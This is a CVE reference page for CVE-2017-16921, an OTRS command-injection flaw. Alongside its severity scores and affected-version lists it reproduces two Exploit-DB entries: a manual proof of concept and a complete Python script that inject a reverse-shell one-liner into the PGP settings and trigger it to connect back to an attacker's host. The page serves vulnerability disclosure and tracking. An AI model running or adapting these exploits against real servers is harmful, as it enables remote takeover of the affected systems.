CVE-2017-16921 : Detail

CVE-2017-16921

8.8
/
High
OS Command Injection
A03-Injection
34.94%V4
Network
2017-12-08
14h00 +00:00
2021-04-22
15h06 +00:00
CVE.org
NVD
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CVE Descriptions

In OTRS 6.0.x up to and including 6.0.1, OTRS 5.0.x up to and including 5.0.24, and OTRS 4.0.x up to and including 4.0.26, an attacker who is logged into OTRS as an agent can manipulate form parameters (related to PGP) and execute arbitrary shell commands with the permissions of the OTRS or web server user.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 8.8 HIGH CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 nvd@nist.gov
V2 9 AV:N/AC:L/Au:S/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 43853

Publication date : 2018-01-20 23h00 +00:00
Author : Bæln0rn
EDB Verified : No

# Exploit Title: OTRS 5.0.x/6.0.x - Remote Command Execution (1) # Date: 21-01-2018 # Exploit Author: Bæln0rn # Vendor Homepage: https://www.otrs.com/ # Software Link: http://ftp.otrs.org/pub/otrs/ # Version: 4.0.1 - 4.0.26, 5.0.0 - 5.0.24, 6.0.0 - 6.0.1 # Tested on: OTRS 5.0.2/CentOS 7.2.1511 # CVE : CVE-2017-16921 CVE-2017-16921: "In OTRS 6.0.x up to and including 6.0.1, OTRS 5.0.x up to and including 5.0.24, and OTRS 4.0.x up to and including 4.0.26, an attacker who is logged into OTRS as an agent can manipulate form parameters (related to PGP) and execute arbitrary shell commands with the permissions of the OTRS or web server user." OTRS 5.0.2 PoC: 1. Authenticate to an agent account. <path>/index.pl 2. Open "Admin" tab. <path>/index.pl?Action=Admin 3. Open "SysConfig" link. <path>/index.pl?Action=AdminSysConfig 4. Find the "Crypt:PGP" subgroup. <path>/index.pl?Action=AdminSysConfig;Subaction=Edit;SysConfigSubGroup=Crypt%3A%3APGP;SysConfigGroup=Framework 5. Manipulate form parameters and use "Update" button to save: "PGP" -Default: No -New: Yes "PGP::Bin" -Default: /usr/bin/gpg -New: <shell command including executables the webserver user has execute permissions for, no options> -PoC (Reverse Python Shell): /usr/bin/python "PGP::Options" -Default: --homedir /opt/otrs/.gnupg/ --batch --no-tty --yes -New: <any command options> -PoC (Reverse Python Shell): -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<YOURIP>",<YOURLISTENINGPORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' 6. Open "Admin" tab. <path>/index.pl?Action=Admin 7. Open "PGP Keys" to execute saved command. <path>/index.pl?Action=AdminPGP Behavior will vary based on commands. The above PoC opened a stable, no TTY, reverse shell under the "apache" user. The page eventually timed out with a 502 error, but the web application seems otherwise unaffected. Killing the shell before timeout advances the web application to the proper "PGP Management" page. The exploit can be repeated unlimited times with step #7 above.
Exploit Database EDB-ID : 49794

Publication date : 2021-04-21 22h00 +00:00
Author : Hex_26
EDB Verified : No

# Exploit Title: OTRS 6.0.1 - Remote Command Execution (2) # Date: 21-04-2021 # Exploit Author: Hex_26 # Vendor Homepage: https://www.otrs.com/ # Software Link: http://ftp.otrs.org/pub/otrs/ # Version: 4.0.1 - 4.0.26, 5.0.0 - 5.0.24, 6.0.0 - 6.0.1 # Tested on: OTRS 5.0.2/CentOS 7.2.1511 # CVE : CVE-2017-16921 #!/usr/bin/env python3 """ Designed after https://www.exploit-db.com/exploits/43853. Runs a python reverse shell on the target with the preconfigured options. This script does not start a listener for you. Run one on your own with netcat or another similar tool By default, this script will launch a python reverse shell one liner with no cleanup. Manual cleanup needs to be done for the PGP options in the admin panel if you wish to preserve full working condition. """ import requests; import sys; baseuri = "http://10.1.1.1/index.pl"; username = "root@localhost"; password = "root"; revShellIp = "10.1.1.2"; revShellPort = 7007; sess = requests.Session(); print("[+] Retrieving auth token..."); data = {"Action":"Login","RequestedURL":"","Lang":"en","TimeOffset":"-480","User":username,"Password":password}; sess.post(baseuri,data=data); if "OTRSAgentInterface" in sess.cookies.get_dict(): print("[+] Successfully logged in:"); print("OTRSAgentInterface",":",sess.cookies.get_dict()["OTRSAgentInterface"]); else: print("[-] Failed to log in. Bad credentials?"); sys.exit(); print("[+] Grabbing challenge token from PGP panel..."); contents = sess.get(baseuri+"?Action=AdminSysConfig;Subaction=Edit;SysConfigSubGroup=Crypt::PGP;SysConfigGroup=Framework").text; challTokenStart = contents.find('<input type="hidden" name="ChallengeToken" value="')+50; challengeToken = contents[challTokenStart:challTokenStart+32]; print("[+]",challengeToken); print("[+] Enabling PGP keys in config, and setting our malicious command"); settings = {\ "ChallengeToken":challengeToken,\ "Action":"AdminSysConfig",\ "Subaction":"Update",\ "SysConfigGroup":"Framework",\ "SysConfigSubGroup":"Crypt::PGP",\ "DontWriteDefault":"1",\ "PGP":"1",\ "PGP::Bin":"/usr/bin/python",\ "PGP::Options":"-c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"" + revShellIp + "\"," + str(revShellPort) + "));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'",\ "PGP::Key::PasswordKey[]":"488A0B8F",\ "PGP::Key::PasswordContent[]":"SomePassword",\ "PGP::Key::PasswordDeleteNumber[]":"1",\ "PGP::Key::PasswordKey[]":"D2DF79FA",\ "PGP::Key::PasswordContent[]":"SomePassword",\ "PGP::Key::PasswordDeleteNumber[]":"2",\ "PGP::TrustedNetworkItemActive":"1",\ "PGP::TrustedNetwork":"0",\ "PGP::LogKey[]":"BADSIG",\ "PGP::LogContent[]":"The+PGP+signature+with+the+keyid+has+not+been+verified+successfully.",\ "PGP::LogDeleteNumber[]":"1",\ "PGP::LogKey[]":"ERRSIG",\ "PGP::LogContent[]":"It+was+not+possible+to+check+the+PGP+signature%2C+this+may+be+caused+by+a+missing+public+key+or+an+unsupported+algorithm.",\ "PGP::LogDeleteNumber[]":"2",\ "PGP::LogKey[]":"EXPKEYSIG",\ "PGP::LogContent[]":"The+PGP+signature+was+made+by+an+expired+key.",\ "PGP::LogDeleteNumber[]":"3",\ "PGP::LogKey[]":"GOODSIG",\ "PGP::LogContent[]":"Good+PGP+signature.",\ "PGP::LogDeleteNumber[]":"4",\ "PGP::LogKey[]":"KEYREVOKED",\ "PGP::LogContent[]":"The+PGP+signature+was+made+by+a+revoked+key%2C+this+could+mean+that+the+signature+is+forged.",\ "PGP::LogDeleteNumber[]":"5",\ "PGP::LogKey[]":"NODATA",\ "PGP::LogContent[]":"No+valid+OpenPGP+data+found.",\ "PGP::LogDeleteNumber[]":"6",\ "PGP::LogKey[]":"NO_PUBKEY",\ "PGP::LogContent[]":"No+public+key+found.",\ "PGP::LogDeleteNumber[]":"7",\ "PGP::LogKey[]":"REVKEYSIG",\ "PGP::LogContent[]":"The+PGP+signature+was+made+by+a+revoked+key%2C+this+could+mean+that+the+signature+is+forged.",\ "PGP::LogDeleteNumber[]":"8",\ "PGP::LogKey[]":"SIGEXPIRED",\ "PGP::LogContent[]":"The+PGP+signature+is+expired.",\ "PGP::LogDeleteNumber[]":"9",\ "PGP::LogKey[]":"SIG_ID",\ "PGP::LogContent[]":"Signature+data.",\ "PGP::LogDeleteNumber[]":"10",\ "PGP::LogKey[]":"TRUST_UNDEFINED",\ "PGP::LogContent[]":"This+key+is+not+certified+with+a+trusted+signature%21.",\ "PGP::LogDeleteNumber[]":"11",\ "PGP::LogKey[]":"VALIDSIG",\ "PGP::LogContent[]":"The+PGP+signature+with+the+keyid+is+good.",\ "PGP::LogDeleteNumber[]":"12",\ "PGP::StoreDecryptedData":"1"\ }; sess.post(baseuri+"?Action=AdminSysConfig;Subaction=Edit;SysConfigSubGroup=Crypt::PGP;SysConfigGroup=Framework",data=settings); print("[+] Now attempting to trigger the command. If this hangs, it likely means the reverse shell started."); sess.get(baseuri+"?Action=AdminPGP"); print("[+] Exploit complete, check your listener for a shell");

Products Mentioned

Configuraton 0

Otrs>>Otrs >> Version 4.0.1

Otrs>>Otrs >> Version 4.0.2

Otrs>>Otrs >> Version 4.0.3

Otrs>>Otrs >> Version 4.0.4

Otrs>>Otrs >> Version 4.0.5

Otrs>>Otrs >> Version 4.0.6

Otrs>>Otrs >> Version 4.0.7

Otrs>>Otrs >> Version 4.0.8

Otrs>>Otrs >> Version 4.0.9

Otrs>>Otrs >> Version 4.0.10

Otrs>>Otrs >> Version 4.0.11

Otrs>>Otrs >> Version 4.0.12

Otrs>>Otrs >> Version 4.0.13

Otrs>>Otrs >> Version 4.0.14

Otrs>>Otrs >> Version 4.0.15

Otrs>>Otrs >> Version 4.0.16

Otrs>>Otrs >> Version 4.0.17

Otrs>>Otrs >> Version 4.0.18

Otrs>>Otrs >> Version 4.0.19

Otrs>>Otrs >> Version 4.0.20

Otrs>>Otrs >> Version 4.0.21

Otrs>>Otrs >> Version 4.0.22

Otrs>>Otrs >> Version 4.0.23

Otrs>>Otrs >> Version 4.0.24

Otrs>>Otrs >> Version 4.0.25

Otrs>>Otrs >> Version 4.0.26

Otrs>>Otrs >> Version 5.0.0

Otrs>>Otrs >> Version 5.0.0

Otrs>>Otrs >> Version 5.0.0

Otrs>>Otrs >> Version 5.0.0

Otrs>>Otrs >> Version 5.0.0

Otrs>>Otrs >> Version 5.0.0

Otrs>>Otrs >> Version 5.0.0

Otrs>>Otrs >> Version 5.0.0

Otrs>>Otrs >> Version 5.0.1

Otrs>>Otrs >> Version 5.0.2

Otrs>>Otrs >> Version 5.0.3

Otrs>>Otrs >> Version 5.0.4

Otrs>>Otrs >> Version 5.0.5

Otrs>>Otrs >> Version 5.0.6

Otrs>>Otrs >> Version 5.0.7

Otrs>>Otrs >> Version 5.0.8

Otrs>>Otrs >> Version 5.0.9

Otrs>>Otrs >> Version 5.0.10

Otrs>>Otrs >> Version 5.0.11

Otrs>>Otrs >> Version 5.0.12

Otrs>>Otrs >> Version 5.0.13

Otrs>>Otrs >> Version 5.0.14

Otrs>>Otrs >> Version 5.0.15

Otrs>>Otrs >> Version 5.0.16

Otrs>>Otrs >> Version 5.0.17

Otrs>>Otrs >> Version 5.0.18

Otrs>>Otrs >> Version 5.0.19

Otrs>>Otrs >> Version 5.0.20

Otrs>>Otrs >> Version 5.0.21

Otrs>>Otrs >> Version 5.0.22

Otrs>>Otrs >> Version 5.0.23

Otrs>>Otrs >> Version 5.0.24

Otrs>>Otrs >> Version 6.0.0

Otrs>>Otrs >> Version 6.0.0

Otrs>>Otrs >> Version 6.0.0

Otrs>>Otrs >> Version 6.0.0

Otrs>>Otrs >> Version 6.0.0

Otrs>>Otrs >> Version 6.0.0

Otrs>>Otrs >> Version 6.0.0

Otrs>>Otrs >> Version 6.0.0

Otrs>>Otrs >> Version 6.0.1

Configuraton 0

Debian>>Debian_linux >> Version 7.0

Debian>>Debian_linux >> Version 8.0

Debian>>Debian_linux >> Version 9.0

References

https://www.exploit-db.com/exploits/43853/
Tags : exploit, x_refsource_EXPLOIT-DB
https://www.debian.org/security/2017/dsa-4066
Tags : vendor-advisory, x_refsource_DEBIAN
The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.